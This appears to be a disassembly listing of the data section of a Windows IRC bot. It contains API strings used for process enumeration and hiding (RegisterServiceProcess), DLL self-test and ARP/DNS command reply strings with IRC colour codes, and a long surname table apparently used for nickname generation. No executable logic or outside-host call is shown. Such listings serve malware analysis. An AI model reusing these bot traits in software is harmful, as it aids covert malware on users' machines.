aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B12:loc_409C47o
					; sub_424D78+Do
		align 10h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B12+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B12+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B12+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B12+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B12+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
		align 10h
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B12+23o
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B12+Ao
		align 10h
unk_42D330	db  2Dh	; -		; DATA XREF: sub_40A7CE+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
		align 4
a_:					; DATA XREF: sub_40F96A+252o
		unicode	0, <.>,0
unk_42D4C0	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABF0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 10h
unk_42D4F0	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABBEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 10h
unk_42D520	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40AB8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D544	db  2Dh	; -		; DATA XREF: sub_40AB31+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC0F+46o
					; sub_40BFEB+38o
		align 10h
aReal		db 'real',0
		align 4
		dd 0
dword_42D58C	dd 0			; DATA XREF: sub_40B08D+7o
off_42D590	dd offset sub_40ACB5	; DATA XREF: sub_40B08D+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AD22h, 7474656Ch, 7265h, 0
		dd 2, 40AD80h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCDh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Bh, 736Fh, 2	dup(0)
		dd 5, 40AEE0h
off_42D5F8	dd offset aAbdulrazak	; DATA XREF: sub_40ACB5+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D604	dd offset aAddison	; DATA XREF: sub_40B08D+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
